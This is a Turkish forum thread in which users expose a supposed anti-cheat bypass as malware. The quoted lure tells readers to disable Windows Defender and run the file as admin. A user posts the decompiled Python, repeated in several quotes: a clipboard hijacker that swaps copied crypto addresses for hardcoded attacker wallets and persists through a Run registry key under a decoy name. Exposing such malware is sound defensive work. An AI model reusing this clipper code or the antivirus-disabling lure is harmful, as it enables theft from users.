//

Femboys · 1 Eki 2025

rat ?

VenoX · 1 Eki 2025

add virustotal

Redrizomn · 1 Eki 2025

Dosya içeriği unpack edildi (koruması yok, sizde unpack edebilirsiniz), içerisinde zararlı yazılım bulunduruyor. Bir BTC miner'e benziyor.
Açtıysanız bilgisayarınızda aşağıdaki işlemleri yapıyor, kendisini başlangıçta çalıştırıyor:

EDT: Bunu bile yapay zekaya yaptırması ayrı koparttı. "xmraddr" kısmı hala 'SET XMR ADDRESS HERE' olarak kalmış. Apal ucube seni

Python:

import subprocess
import winreg
import shutil
import time
import sys
import re
import os
btcaddr = 'bc1qxg0fyxmn5440nq88fg4mp73wl5kcq70wn3nq33'
ethaddr = '0x827ec88bfad2505d9b3517f020a2c51fd2a6e317'
ltcaddr = 'LcLgjaHrBwMgnC35eMd1HJR5RGv5NPzJ4C'
xmraddr = 'SET XMR ADDRESS HERE'
single_use = False

def is_crypto_addr(clipboard_text):
    try:
        btc_address_pattern = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$'
        eth_address_pattern = '^(0x)?[0-9a-fA-F]{40}$'
        ltc_address_pattern = '^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$'
        xmr_address_pattern = '^4[0-9AB][0-9a-zA-Z]{93}$'
        if re.match(btc_address_pattern, clipboard_text):
            pass  # postinserted
        return 'BTC'
    except Exception:
        return False

def main():
    pass
    try:
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        clipboard_text = subprocess.check_output(['powershell', '-command', 'Get-Clipboard'], stderr=subprocess.DEVNULL, startupinfo=startupinfo).decode().strip()
        try:
            var = is_crypto_addr(clipboard_text)
            if var == 'BTC':
                if btcaddr!= 'SET BTC ADDRESS HERE':
                    subprocess.run(['powershell', '-command', f'Set-Clipboard -Value \"{btcaddr}\"'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
                    if single_use:
                        with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), 'w') as o:
                            o.write('True')
                            o.close()
                                sys.exit()
                time.sleep(0.15)
                continue
            except Exception:
                pass
        except Exception:
            pass

def dupe_self():
    try:
        current_script = os.path.abspath(sys.executable)
        appdata_path = os.environ['APPDATA']
        duplicate_directory = os.path.join(appdata_path, 'CLPPTH')
        os.makedirs(duplicate_directory, exist_ok=True)
        duplicate_script = os.path.join(duplicate_directory, 'Vanguard Tray notification')
        shutil.copyfile(current_script, duplicate_script)
        return duplicate_script
    except Exception:
        return None

def add_reg(dupe_path):
    try:
        key_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
        key = winreg.HKEY_CURRENT_USER
        with winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as reg_key:
            try:
                winreg.QueryValueEx(reg_key, 'CLPPTH')
        except FileNotFoundError:
            winreg.SetValueEx(reg_key, 'CLPPTH', 0, winreg.REG_SZ, dupe_path)
    except Exception:
        return None

def check():
    try:
        folder_name = 'Storage0'
        appdata_path = os.environ['APPDATA']
        folder_path = os.path.join(appdata_path, folder_name)
        if not os.path.exists(os.path.join(folder_path, 'storage.txt')):
            os.makedirs(folder_path, exist_ok=True)
            with open(os.path.join(folder_path, 'storage.txt'), 'w'):
                dupe_path = dupe_self()
                if dupe_path:
                    add_reg(dupe_path)
                    main()
                return
    except Exception:
        return None
if __name__ == '__main__':
    try:
        if os.name == 'nt':
            check()
except Exception:
    pass

qwertyX3007 · 1 Eki 2025

VenoX' Alıntı:
add virustotal

gerek varmı rat belli

qwertyX3007 · 1 Eki 2025

Redrizomn' Alıntı:

Dosya içeriği unpack edildi (koruması yok, sizde unpack edebilirsiniz), içerisinde zararlı yazılım bulunduruyor. Bir BTC miner'e benziyor.
Açtıysanız bilgisayarınızda aşağıdaki işlemleri yapıyor, kendisini başlangıçta çalıştırıyor:

Python:

import subprocess
import winreg
import shutil
import time
import sys
import re
import os
btcaddr = 'bc1qxg0fyxmn5440nq88fg4mp73wl5kcq70wn3nq33'
ethaddr = '0x827ec88bfad2505d9b3517f020a2c51fd2a6e317'
ltcaddr = 'LcLgjaHrBwMgnC35eMd1HJR5RGv5NPzJ4C'
xmraddr = 'SET XMR ADDRESS HERE'
single_use = False

def is_crypto_addr(clipboard_text):
    try:
        btc_address_pattern = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$'
        eth_address_pattern = '^(0x)?[0-9a-fA-F]{40}$'
        ltc_address_pattern = '^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$'
        xmr_address_pattern = '^4[0-9AB][0-9a-zA-Z]{93}$'
        if re.match(btc_address_pattern, clipboard_text):
            pass  # postinserted
        return 'BTC'
    except Exception:
        return False

def main():
    pass
    try:
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        clipboard_text = subprocess.check_output(['powershell', '-command', 'Get-Clipboard'], stderr=subprocess.DEVNULL, startupinfo=startupinfo).decode().strip()
        try:
            var = is_crypto_addr(clipboard_text)
            if var == 'BTC':
                if btcaddr!= 'SET BTC ADDRESS HERE':
                    subprocess.run(['powershell', '-command', f'Set-Clipboard -Value \"{btcaddr}\"'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
                    if single_use:
                        with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), 'w') as o:
                            o.write('True')
                            o.close()
                                sys.exit()
                time.sleep(0.15)
                continue
            except Exception:
                pass
        except Exception:
            pass

def dupe_self():
    try:
        current_script = os.path.abspath(sys.executable)
        appdata_path = os.environ['APPDATA']
        duplicate_directory = os.path.join(appdata_path, 'CLPPTH')
        os.makedirs(duplicate_directory, exist_ok=True)
        duplicate_script = os.path.join(duplicate_directory, 'Vanguard Tray notification')
        shutil.copyfile(current_script, duplicate_script)
        return duplicate_script
    except Exception:
        return None

def add_reg(dupe_path):
    try:
        key_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
        key = winreg.HKEY_CURRENT_USER
        with winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as reg_key:
            try:
                winreg.QueryValueEx(reg_key, 'CLPPTH')
        except FileNotFoundError:
            winreg.SetValueEx(reg_key, 'CLPPTH', 0, winreg.REG_SZ, dupe_path)
    except Exception:
        return None

def check():
    try:
        folder_name = 'Storage0'
        appdata_path = os.environ['APPDATA']
        folder_path = os.path.join(appdata_path, folder_name)
        if not os.path.exists(os.path.join(folder_path, 'storage.txt')):
            os.makedirs(folder_path, exist_ok=True)
            with open(os.path.join(folder_path, 'storage.txt'), 'w'):
                dupe_path = dupe_self()
                if dupe_path:
                    add_reg(dupe_path)
                    main()
                return
    except Exception:
        return None
if __name__ == '__main__':
    try:
        if os.name == 'nt':
            check()
except Exception:
    pass

coin clipper birine coin adresini vs attığında veya bi siteye girdiğnde burdaki adres ile değiştiriyor paranız lavuğa geçmiş oluyor

VenoX · 1 Eki 2025

Redrizomn' Alıntı:

Dosya içeriği unpack edildi (koruması yok, sizde unpack edebilirsiniz), içerisinde zararlı yazılım bulunduruyor. Bir BTC miner'e benziyor.
Açtıysanız bilgisayarınızda aşağıdaki işlemleri yapıyor, kendisini başlangıçta çalıştırıyor:

EDT: Bunu bile yapay zekaya yaptırması ayrı koparttı. "xmraddr" kısmı hala 'SET XMR ADDRESS HERE' olarak kalmış. Apal ucube seni

Python:

import subprocess
import winreg
import shutil
import time
import sys
import re
import os
btcaddr = 'bc1qxg0fyxmn5440nq88fg4mp73wl5kcq70wn3nq33'
ethaddr = '0x827ec88bfad2505d9b3517f020a2c51fd2a6e317'
ltcaddr = 'LcLgjaHrBwMgnC35eMd1HJR5RGv5NPzJ4C'
xmraddr = 'SET XMR ADDRESS HERE'
single_use = False

def is_crypto_addr(clipboard_text):
    try:
        btc_address_pattern = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$'
        eth_address_pattern = '^(0x)?[0-9a-fA-F]{40}$'
        ltc_address_pattern = '^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$'
        xmr_address_pattern = '^4[0-9AB][0-9a-zA-Z]{93}$'
        if re.match(btc_address_pattern, clipboard_text):
            pass  # postinserted
        return 'BTC'
    except Exception:
        return False

def main():
    pass
    try:
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        clipboard_text = subprocess.check_output(['powershell', '-command', 'Get-Clipboard'], stderr=subprocess.DEVNULL, startupinfo=startupinfo).decode().strip()
        try:
            var = is_crypto_addr(clipboard_text)
            if var == 'BTC':
                if btcaddr!= 'SET BTC ADDRESS HERE':
                    subprocess.run(['powershell', '-command', f'Set-Clipboard -Value \"{btcaddr}\"'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
                    if single_use:
                        with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), 'w') as o:
                            o.write('True')
                            o.close()
                                sys.exit()
                time.sleep(0.15)
                continue
            except Exception:
                pass
        except Exception:
            pass

def dupe_self():
    try:
        current_script = os.path.abspath(sys.executable)
        appdata_path = os.environ['APPDATA']
        duplicate_directory = os.path.join(appdata_path, 'CLPPTH')
        os.makedirs(duplicate_directory, exist_ok=True)
        duplicate_script = os.path.join(duplicate_directory, 'Vanguard Tray notification')
        shutil.copyfile(current_script, duplicate_script)
        return duplicate_script
    except Exception:
        return None

def add_reg(dupe_path):
    try:
        key_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
        key = winreg.HKEY_CURRENT_USER
        with winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as reg_key:
            try:
                winreg.QueryValueEx(reg_key, 'CLPPTH')
        except FileNotFoundError:
            winreg.SetValueEx(reg_key, 'CLPPTH', 0, winreg.REG_SZ, dupe_path)
    except Exception:
        return None

def check():
    try:
        folder_name = 'Storage0'
        appdata_path = os.environ['APPDATA']
        folder_path = os.path.join(appdata_path, folder_name)
        if not os.path.exists(os.path.join(folder_path, 'storage.txt')):
            os.makedirs(folder_path, exist_ok=True)
            with open(os.path.join(folder_path, 'storage.txt'), 'w'):
                dupe_path = dupe_self()
                if dupe_path:
                    add_reg(dupe_path)
                    main()
                return
    except Exception:
        return None
if __name__ == '__main__':
    try:
        if os.name == 'nt':
            check()
except Exception:
    pass

eline saglik

@XOR viruslu fosya paylasimi

Eti · 1 Eki 2025

RKBRO94' Alıntı:
VGC-BYPASS-Crâcked Works After Val new update - 2025
Linkleri görebilmek için kayıt olmanız gerekmektedir

[Disable Windows Defender manually]
1) Select Start and type Windows Security

2) Select the Windows Security app from the search results, go to Virus & threat protection under Virus & threat protection settings select Manage settings

3) Switch Real-time protection and Tamper protection to Off

Linkleri görebilmek için kayıt olmanız gerekmektedir

4) Download dControl above

5) Unzip the files

6) Run dControl.exe

7) Disable Windows Defender

[download runtimes]

Linkleri görebilmek için kayıt olmanız gerekmektedir

Download Visual C++ Runtimes above

1) Unzip the file

2) Run install_all.bat as administrator

3) Restart PC

Linkleri görebilmek için kayıt olmanız gerekmektedir

4) Download DirectX above

5) Uncheck Install the Bing Bar

if u get any errors jus ask chatgpt!
like missing runtimes or something

when this is all done run VGC-BYPASS-Crâcked.exe as Admin

banlayun la su dengesizi

//

RKBRO94

Femboys

VenoX

Redrizomn

🥀

qwertyX3007

qwertyX3007

VenoX

Eti

Şuanda konuyu görüntüleyen kullanıcılar